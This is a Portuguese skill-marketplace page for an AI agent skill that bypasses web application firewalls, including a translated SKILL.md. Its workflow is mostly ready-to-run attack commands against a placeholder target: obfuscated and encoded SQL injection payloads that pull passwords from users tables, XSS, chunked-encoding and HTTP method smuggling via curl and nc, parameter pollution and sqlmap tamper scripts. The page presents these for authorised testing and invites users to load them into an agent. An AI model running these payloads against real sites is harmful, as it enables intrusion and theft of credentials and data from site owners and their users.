performing-web-application-firewall-bypass
Faz seu agente contornar proteções de 'firewall' de aplicações web usando técnicas de ofuscação e manipulação.
O que ela faz
Esta ferramenta ajuda a contornar proteções de segurança (chamadas WAF) em sites. Ela usa truques de codificação e manipulação de requisições para tentar passar por essas defesas, permitindo que testes de segurança sejam realizados.
Quando usar
- ✓Quando uma falha de segurança conhecida é bloqueada por um sistema de defesa.
- ✓Durante testes de segurança para verificar se as defesas do site funcionam.
- ✓Ao avaliar a eficácia das proteções de um site contra ataques.
Exemplo do que pedir para a IA
“Tente contornar a proteção do site example.com para encontrar falhas de segurança.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta diferentes métodos para disfarçar o ataque, como codificar os dados de formas incomuns ou enviar requisições de maneiras que o sistema de defesa não espera. Ela testa várias técnicas para ver qual funciona.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-application-firewall-bypassOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-web-application-firewall-bypass/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Contornando Firewalls de Aplicação Web
Quando Usar
- Quando vulnerabilidades confirmadas são bloqueadas pela detecção baseada em assinatura do WAF
- Durante testes de penetração onde o WAF impede a exploração de problemas conhecidos
- Ao avaliar a eficácia das regras do WAF contra técnicas de evasão
- Durante engajamentos de equipe vermelha que exigem a evasão de controles de segurança de perímetro
- Ao testar regras personalizadas de WAF quanto à completude e resistência à evasão
Pré-requisitos
- Burp Suite Professional com integração SQLMap
- wafw00f para impressão digital e identificação de WAF
- SQLMap com scripts tamper para evasão automatizada de WAF
- Compreensão dos mecanismos de detecção de WAF (assinatura, regex, comportamental)
- Coleção de técnicas de codificação e ofuscação por tipo de ataque
- Conhecimento das nuances do protocolo HTTP exploráveis para evasão
Fluxo de Trabalho
Passo 1 — Identificar e Fazer a Impressão Digital do WAF
# Detect WAF using wafw00f
wafw00f http://target.com
# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"
# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge
# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie
Passo 2 — Evasão com Codificação e Ofuscação
# URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"
# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"
# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"
# HTML entity encoding in body
curl -X POST http://target.com/search \
-d "q=<script>alert(1)</script>"
# Mixed case SQL keywords
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"
# Inline comments between SQL keywords
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"
# MySQL version-specific comments
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"
# Null bytes
curl "http://target.com/page?id=1'%00 OR 1=1--"
# Tab and newline substitution for spaces
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
Passo 3 — Evasão com Métodos HTTP e Truques de Protocolo
# Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"
# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80
# Content-Type manipulation
curl -X POST http://target.com/page \
-H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
-d "id=1' OR 1=1--"
# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
-F "id=1' OR 1=1--"
# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80
# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
Passo 4 — Evasão com Divisão de Payload e HPP
# HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"
# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"
# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
-H "Content-Type: application/json" \
-d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'
# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt":"", "$where":"1==1"}}'
# XML-wrapped payloads
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d "<data><id>1' UNION SELECT password FROM users--</id></data>"
Passo 5 — Usar Scripts Tamper do SQLMap
# SQLMap com scripts tamper integrados
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment
# Scripts tamper comuns para evasão de WAF:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
…
Perguntas frequentes
O que é um WAF?
WAF significa Web Application Firewall. É um sistema de segurança que protege sites contra ataques maliciosos, tentando identificar e bloquear tráfego perigoso.
Isso é ilegal?
Usar esta ferramenta em sites que você não tem permissão para testar é ilegal. Ela deve ser usada apenas em ambientes de teste autorizados ou em seus próprios sistemas.
Preciso saber programar para usar?
Embora entender os conceitos ajude, a ferramenta é projetada para ser usada por pessoas que podem não ser programadores experientes, focando em executar os testes.
Detalhes
Descrição original do autor
Bypasses Web Application Firewall protections using encoding tricks, HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when a confirmed vulnerability is blocked by a WAF, during penetration tests or red team engagements requiring bypass of perimeter security controls, or when evaluating WAF
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6167
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
agent-architecture-audit
Faz seu agente verificar se tudo está funcionando corretamente. Ele encontra e conserta problemas em sistemas de IA, garantindo que funcionem como esperado.
affaan-m/ECC
agent-eval
Ajuda seu agente a comparar diferentes ferramentas de programação de IA. Ele mede qual é mais rápido, barato e confiável para realizar tarefas específicas.
affaan-m/ECC
agent-harness-construction
Faz seu agente entender melhor como realizar tarefas. Ele otimiza as ferramentas e instruções que o agente usa para aumentar suas chances de sucesso.
affaan-m/ECC